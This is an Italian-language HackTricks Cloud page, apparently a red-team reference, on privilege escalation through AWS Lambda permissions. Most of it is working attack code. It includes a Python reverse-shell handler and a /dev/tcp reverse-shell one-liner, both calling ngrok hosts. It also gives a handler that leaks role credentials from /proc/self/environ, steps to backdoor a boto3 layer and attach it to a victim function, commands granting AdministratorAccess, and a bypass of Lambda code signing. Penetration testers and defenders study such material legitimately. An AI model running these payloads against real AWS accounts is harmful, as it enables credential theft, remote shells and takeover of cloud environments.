AWS - Lambda Privesc
Reading time: 13 minutes
tip
Impara e pratica il hacking AWS: HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:  HackTricks Training GCP Red Team Expert (GRTE)
HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure:
Impara e pratica il hacking Azure:  HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
lambda
Maggiori informazioni su lambda in:
iam:PassRole, lambda:CreateFunction, (lambda:InvokeFunction | lambda:InvokeFunctionUrl)
Gli utenti con i permessi iam:PassRole, lambda:CreateFunction, e lambda:InvokeFunction possono elevare i loro privilegi.
Possono creare una nuova Lambda function e assegnarle un IAM role esistente, concedendo alla function i permessi associati a quel ruolo. L'utente può poi scrivere e caricare codice su questa Lambda function (ad esempio con una rev shell).
Una volta configurata la function, l'utente può attivarne l'esecuzione e le azioni previste invocando la Lambda function tramite l'AWS API. Questo approccio permette all'utente di eseguire compiti indirettamente attraverso la Lambda function, operando con il livello di accesso concesso all'IAM role ad essa associato.\
Un attacker potrebbe abusarne per ottenere una rev shell e rubare il token:
import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
# Zip the rev shell
zip "rev.zip" "rev.py"
# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip
# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL
# List roles
aws iam list-attached-user-policies --user-name <user-name>
Puoi anche abusare dei permessi del ruolo lambda dalla stessa funzione lambda.
Se il ruolo lambda avesse permessi sufficienti, potresti usarlo per concederti diritti di amministratore:
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response
È inoltre possibile effettuare un leak delle credenziali del ruolo della lambda senza bisogno di una connessione esterna. Questo sarebbe utile per Network isolated Lambdas usate per attività interne. Se ci sono security groups sconosciuti che filtrano i tuoi reverse shells, questo pezzo di codice ti permetterà di effettuare direttamente il leak delle credenziali come output della lambda.
def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt
Impatto potenziale: Privesc diretto sul ruolo di servizio lambda arbitrario specificato.
caution
Nota che, anche se può sembrare interessante lambda:InvokeAsync non consente da sola di eseguire aws lambda invoke-async, è necessario anche lambda:InvokeFunction
iam:PassRole, lambda:CreateFunction, lambda:AddPermission
Come nello scenario precedente, puoi assegnarti la permission lambda:InvokeFunction se disponi della permission lambda:AddPermission
# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
Impatto potenziale: Privesc diretto al ruolo di servizio lambda arbitrario specificato.
iam:PassRole, lambda:CreateFunction, lambda:CreateEventSourceMapping
Utenti con le autorizzazioni iam:PassRole, lambda:CreateFunction e lambda:CreateEventSourceMapping (e potenzialmente dynamodb:PutItem e dynamodb:CreateTable) possono indirettamente escalate privileges anche senza lambda:InvokeFunction.\
Possono creare una Lambda function con codice malevolo e assegnarle un ruolo IAM esistente.
Anziché invocare direttamente la Lambda, l'utente crea o utilizza una tabella DynamoDB esistente, collegandola alla Lambda tramite un event source mapping. Questa configurazione garantisce che la Lambda function venga attivata automaticamente all'inserimento di un nuovo item nella tabella, sia per azione dell'utente sia per un altro processo, invocando così indirettamente la Lambda e eseguendo il codice con le autorizzazioni del ruolo IAM passato.
aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip
Se DynamoDB è già attivo nell'ambiente AWS, l'utente deve solo stabilire l'event source mapping per la Lambda function. Tuttavia, se DynamoDB non è in uso, l'utente deve creare una nuova tabella con lo streaming abilitato:
aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
Ora è possibile connettere la Lambda function alla DynamoDB table creando un event source mapping:
aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST
Con la funzione Lambda collegata allo stream di DynamoDB, l'attaccante può indirettamente attivare la Lambda tramite l'attivazione dello stream di DynamoDB. Questo può essere ottenuto inserendo un item nella tabella DynamoDB:
aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}
Impatto potenziale: privesc diretto al ruolo di servizio lambda specificato.
lambda:AddPermission
Un attacker con questo permesso può concedersi (o concedere ad altri) qualsiasi permesso (questo genera resource based policies per concedere accesso alla risorsa):
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout
Potential Impact: Privesc diretto al ruolo di servizio lambda ottenuto concedendo il permesso di modificare il codice ed eseguirlo.
lambda:AddLayerVersionPermission
Un attacker con questa autorizzazione può concedersi (o concedere ad altri) il permesso lambda:GetLayerVersion. Potrebbe accedere al layer e cercare vulnerabilità o informazioni sensibili
# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
Impatto potenziale: Potenziale accesso a informazioni sensibili.
lambda:UpdateFunctionCode
Gli utenti che hanno il permesso lambda:UpdateFunctionCode possono modify the code of an existing Lambda function that is linked to an IAM role.
L'attaccante può modify the code of the lambda to exfiltrate the IAM credentials.
Sebbene l'attaccante potrebbe non avere la capacità diretta di invocare la funzione, se la Lambda function è preesistente e operativa, è probabile che venga attivata tramite flussi di lavoro o eventi esistenti, facilitando così indirettamente l'esecuzione del codice modificato.
# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip
# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt
# If not check if it's exposed in any URL or via an API gateway you could access
Impatto potenziale: Direct privesc al ruolo di servizio lambda utilizzato.
lambda:UpdateFunctionConfiguration
RCE via env variables
Con queste autorizzazioni è possibile aggiungere environment variables che faranno eseguire al Lambda codice arbitrario. Ad esempio, in python è possibile abusare delle environment variables PYTHONWARNING e BROWSER per far eseguire a un processo python comandi arbitrari:
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
Per altri linguaggi di scripting esistono altre variabili d'ambiente che puoi usare. Per maggiori informazioni consulta le sottosezioni dei linguaggi di scripting in:
macOS Process Abuse - HackTricks
RCE tramite Lambda Layers
Lambda Layers permette di includere code nella tua lambda function ma storing it separately, quindi il codice della funzione può restare piccolo e several functions can share code.
All'interno di lambda puoi controllare i percorsi da cui viene caricato il python code con una funzione come la seguente:
import json
import sys
def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))
Questi sono i percorsi:
- /var/task
- /opt/python/lib/python3.7/site-packages
- /opt/python
- /var/runtime
- /var/lang/lib/python37.zip
- /var/lang/lib/python3.7
- /var/lang/lib/python3.7/lib-dynload
- /var/lang/lib/python3.7/site-packages
- /opt/python/lib/python3.7/site-packages
- /opt/python
Per esempio, la libreria boto3 viene caricata da /var/runtime/boto3 (4ª posizione).
Sfruttamento
È possibile abusare del permesso lambda:UpdateFunctionConfiguration per aggiungere un nuovo layer a una funzione lambda. Per eseguire codice arbitrario questo layer deve contenere qualche libreria che la lambda importerà. Se puoi leggere il codice della lambda, puoi scoprirlo facilmente; nota anche che potrebbe essere possibile che la lambda stia già usando un layer e tu possa scaricare il layer e aggiungere il tuo codice lì dentro.
Per esempio, supponiamo che la lambda stia usando la libreria boto3, questo creerà un layer locale con l'ultima versione della libreria:
pip3 install -t ./lambda_layer boto3
Puoi aprire ./lambda_layer/boto3/__init__.py e aggiungere la backdoor nel codice globale (una funzione per exfiltrate credentials o ottenere una reverse shell, ad esempio).
Poi, zip la directory ./lambda_layer e carica il nuovo lambda layer nel tuo account (o in quello della vittima, ma potresti non avere i permessi per farlo).
Nota che devi creare una cartella python e mettere le librerie lì per sovrascrivere /opt/python/boto3. Inoltre, il layer deve essere compatible with the python version usata dalla lambda e se lo carichi nel tuo account, deve essere nella same region:
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
Ora rendi il lambda layer caricato accessibile da qualsiasi account:
aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *
Quindi allega il lambda layer alla victim lambda function:
aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells
Il passo successivo sarebbe o invocare la funzione noi stessi se possibile oppure aspettare che venga invocata dai normali meccanismi — che è il metodo più sicuro.
Un modo più stealth per sfruttare questa vulnerabilità si trova in:
AWS - Lambda Layers Persistence
Impatto potenziale: Privesc diretto al ruolo di servizio lambda utilizzato.
iam:PassRole, lambda:CreateFunction, lambda:CreateFunctionUrlConfig, lambda:InvokeFunctionUrl
Forse con questi permessi riesci a creare una funzione ed eseguirla chiamando l'URL... ma non sono riuscito a trovare un modo per testarlo, quindi fammi sapere se ci riesci!
Lambda MitM
Alcune lambda riceveranno informazioni sensibili dagli utenti nei parametri. Se ottieni RCE in una di esse, puoi esfiltrare le informazioni che altri utenti le inviano; vedi:
Riferimenti
- https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/
- https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/
lambda:DeleteFunctionCodeSigningConfig or lambda:PutFunctionCodeSigningConfig + lambda:UpdateFunctionCode — Bypass Lambda Code Signing
Se una funzione lambda applica il code signing, un attacker che può rimuovere la Code Signing Config (CSC) o degradarla a WARN può deployare codice non firmato nella funzione. Questo bypassa le protezioni di integrità senza modificare il ruolo IAM della funzione o i trigger.
Permissions (one of):
- Path A: lambda:DeleteFunctionCodeSigningConfig,lambda:UpdateFunctionCode
- Path B: lambda:CreateCodeSigningConfig,lambda:PutFunctionCodeSigningConfig,lambda:UpdateFunctionCode
Note:
- Per Path B, non serve un profilo AWS Signer se la policy del CSC è impostata su WARN(unsigned artifacts allowed).
Passaggi (REGION=us-east-1, TARGET_FN=
Prepara un piccolo payload:
cat > handler.py <<'PY'
import os, json
def lambda_handler(event, context):
return {"pwn": True, "env": list(os.environ)[:6]}
PY
zip backdoor.zip handler.py
Percorso A) Rimuovi CSC, quindi aggiorna il codice:
aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0
if [ "$HAS_CSC" -eq 1 ]; then
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION
fi
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
Percorso B) Downgrade a Warn e aggiorna il codice (se delete non è consentito):
CSC_ARN=$(aws lambda create-code-signing-config \
--description ht-warn-csc \
--code-signing-policies UntrustedArtifactOnDeployment=WARN \
--query CodeSigningConfig.CodeSigningConfigArn --output text --region $REGION)
aws lambda put-function-code-signing-config --function-name $TARGET_FN --code-signing-config-arn $CSC_ARN --region $REGION
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
Verifica:
aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
cat /tmp/out.json
Impatto potenziale: Possibilità di caricare ed eseguire codice arbitrario non firmato in una funzione che avrebbe dovuto imporre signed deployments, potenzialmente portando all'esecuzione di codice con i permessi del ruolo della funzione.
Pulizia:
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true
tip
Impara e pratica il hacking AWS: HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:  HackTricks Training GCP Red Team Expert (GRTE)
HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure:
Impara e pratica il hacking Azure:  HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
 HackTricks Cloud
HackTricks Cloud